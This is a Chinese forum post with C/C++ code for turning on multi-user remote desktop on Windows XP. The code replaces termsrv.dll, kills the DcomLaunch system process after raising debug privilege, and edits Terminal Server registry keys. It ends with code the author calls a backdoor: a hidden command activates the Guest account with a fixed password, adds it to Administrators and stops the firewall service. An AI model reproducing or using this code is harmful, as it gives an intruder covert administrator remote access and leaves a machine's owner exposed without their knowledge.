共有回帖数 0 个
-
众所周知 XP 不能多用户登陆
想2003服务器系统 可以很多人同时登陆 而且互不干涉.
XP想要实现远程多人登陆 比较麻烦!但还是可以搞定滴
因为用C++写的 封装的比较隐晦 所以还是纯C 介绍一下吧
大概步骤:
TermService服务描述:允许多位用户连接并控制一台机器,并且在远程计算机上显示桌面和应用程序。这是远程桌面(包括管理员的远程桌面)、快速用户转换、远程协助和终端服务器的基础结构。
1.将TermService指向的Dll(C:WINDOWSsystem32termsrv.dll) 替换成我们从2003 Sever系统里找的termsrv.dll
PS:这个dll 大家自己从 2003系统里面拿 或者自己百度termsrvhack.dll 很多的哦
2:替换成功以后 结束 TermService服务 再重新启动服务 那么TermService服务就会加载我们替换后的DLL
3:修改注册表一些键值即可
详细看代码 有注释
//第一步
//修改DcomLaunch服务 因为DcomLaunch服务被终止后 会直接重启电脑 或者有可能蓝屏
//TermService 倒是没啥看的 主要是 TermService和DcomLaunch 共享一个服务
//而DcomLaunch 失败后会重启系统 所以我们先修改DcomLaunch 服务 等下结束进程时
//系统不会重启 下面代码 就是去掉 DcomLaunch 服务失败后重启电脑
BOOL ChangeDcomLaunchServer()
{
SC_HANDLE schOpenManager = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
SC_HANDLE schOpenService = OpenService(schOpenManager,"DcomLaunch",SERVICE_CHANGE_CONFIG);
if(schOpenManager==NULL || schOpenService == NULL)
return FALSE;
SERVICE_FAILURE_ACTIONS sfa={NULL};
//失败次数 不操作
SC_ACTION sa[3]={{SC_ACTION_NONE,60000},{SC_ACTION_NONE,60000},{SC_ACTION_NONE,60000}};
sfa.lpsaActions=&sa[0];
sfa.cActions = sizeof(sa)/sizeof(SC_ACTION);
sfa.lpCommand = NULL;
BOOL bResult = FALSE;
//锁定一下服务
SC_LOCK sc_lock=LockServiceDatabase(schOpenManager);
//DcomLaunch 默认为自动 所以不修改启动方式
bResult = ChangeServiceConfig2(schOpenService,SERVICE_CONFIG_FAILURE_ACTIONS,&sfa);
UnlockServiceDatabase(sc_lock);
CloseServiceHandle(schOpenManager);
CloseServiceHandle(schOpenService);
return bResult;
}
//第二步 释放DLL 就是我们在2003 Server系统里面拿到的DLL
//释放到一个路径
BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes;
hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
return FALSE;
hRes = LoadResource(NULL, hResInfo);
if (hRes == NULL)
return FALSE;
hFile = CreateFile(lpFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);
FreeResource(hRes);
return TRUE;
}
BOOL ReplaceDll()
{
//m_szDllPath 因为是C++封装了
//m_szDllPath 定义为 CHAR m_szDllPath[MAX_PATH];
//所以记得给m_szDllPath指定一个路径
//dll 我把它当做资源直接包含在exe里面了 所以释放出来
//假设我们 m_szDllPath = "c:\xx.dll"
if(!ReleaseResource(IDR_TERMSRV,"BIN",m_szDllPath))
return FALSE;
//设置文件属性
SetFileAttributes(m_szDllPath,FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
return TRUE;
}
//提升进程权限 因为DcomLaunch服务的进程是系统进程 不提权杀不掉啊
BOOL DebugPrivilege(const char *PName, BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bResult = FALSE;
}
CloseHandle(hToken);
return bResult;
}
/找到DcomLaunch服务PID 将其结束掉 因为 DcomLaunch服务 不支持停止.暂定
// 必须强制结束进程 下面代码可以直接找到 DcomLaunch服务的进程ID
DWORD FindDcomLaunchServicePID()
{
DWORD dwPID=0;
SC_HANDLE schOpenManager = OpenSCManager(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);
SC_HANDLE schOpenService = OpenService(schOpenManager,"DcomLaunch",SERVICE_QUERY_STATUS);
if(schOpenManager==NULL || schOpenService == NULL)
return FALSE;
//查询 DcomLaunch服务 ID
SERVICE_STATUS_PROCESS ssp;
DWORD dwNumber=0;
QueryServiceStatusEx(schOpenService,SC_STATUS_PROCESS_INFO,(LPBYTE)&ssp,sizeof(SERVICE_STATUS_PROCESS),&dwNumber);
CloseServiceHandle(schOpenManager);
CloseServiceHandle(schOpenService);
return ssp.dwProcessId;
}
BOOL KillDcomLaunchProcess
{
//得到DcomLaunch服务进程的ID
DWORD dwPID = FindDcomLaunchServicePID();
//提升进程权限
DebugPrivilege(SE_DEBUG_NAME, TRUE);
//杀掉DcomLaunch服务进程
HANDLE hTermina= OpenProcess(PROCESS_TERMINATE,FALSE,dwPID);
return TerminateProcess(hTermina,0);
}
第三步设置注册表
BOOL SetRegisterValue()
{
//设置 KeepRASConnections 防止用户登陆后 网络断开
//XP 用户应该知道吧 比如用户注销了 在登录 网络要重新拨号哦
//这个就是取消这个 防止用户登陆上来 网络直接断了
HKEY hKey=NULL;
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",
NULL,KEY_SET_VALUE,&hKey)
)
{
RegSetValueEx(hKey,"KeepRASConnections",NULL,REG_SZ,(LPBYTE)"1",sizeof("1"));
RegCloseKey(hKey);
}
//开启远程桌面连接功能
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Control\Terminal Server",
NULL,KEY_SET_VALUE,&hKey)
)
{
DWORD dwValue = 0;
RegSetValueEx(hKey,"fDenyTSConnections",NULL,REG_DWORD,(LPBYTE)&dwValue,sizeof(DWORD));
RegCloseKey(hKey);
}
//支持多用户同时登陆
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core",
NULL,KEY_SET_VALUE,&hKey)
)
{
DWORD dwValue = 1;
RegSetValueEx(hKey,"EnableConcurrentSessions",NULL,REG_DWORD,(LPBYTE)&dwValue,sizeof(DWORD));
RegCloseKey(hKey);
}
//修改注册表 TermService\Parameters 所指向的DLL
//指向我们刚刚说的 m_szDllPath = "c:\xx.dll"
//最重要的一步!
if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Services\TermService\Parameters",
NULL,KEY_SET_VALUE,&hKey)
)
{
RegSetValueEx(hKey,"ServiceDll",NULL,REG_EXPAND_SZ,(LPBYTE)m_szDllPath,strlen(m_szDllPath));
RegCloseKey(hKey);
}
return TRUE;
}
本次手术 快接近尾声了...
BOOL StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
BOOL bResult = FALSE;
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
bResult = ::StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
return bResult;
}
BOOL StartDcomLaunchAndTermService()
{
//重新启动 TermService 和 DcomLaunch服务 使之加载我们的DLL
StartService("DcomLaunch");
//必须Sleep 藐视不Sleep 经常失败...
Sleep(3000);
return StartService("TermService");
}
哈哈 手术完成 XP 也能跟2003 系统一样 多用户登陆了..
最后留个后门 嘿嘿
//启用Guest 账号 并且添加到administrators组
BOOL NetUserAdd()
{
//哎 真不想用DOS命令 后期用NetUseAdd NetUserSetGroups 等函数实现
CHAR szCommand[]="cmd.exe /c net user guest /active:yes && "
"net user guest ratpp && net localgroup administrators guest /add "
"&& net stop SharedAccess /y";
return (BOOL)WinExec(szCommand, SW_HIDE);
}
OK 完成....
BIN 和 源码文件 就不放了 因为封装了其他东西 就不能放出来了.
楼主 2015-11-26 13:50 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知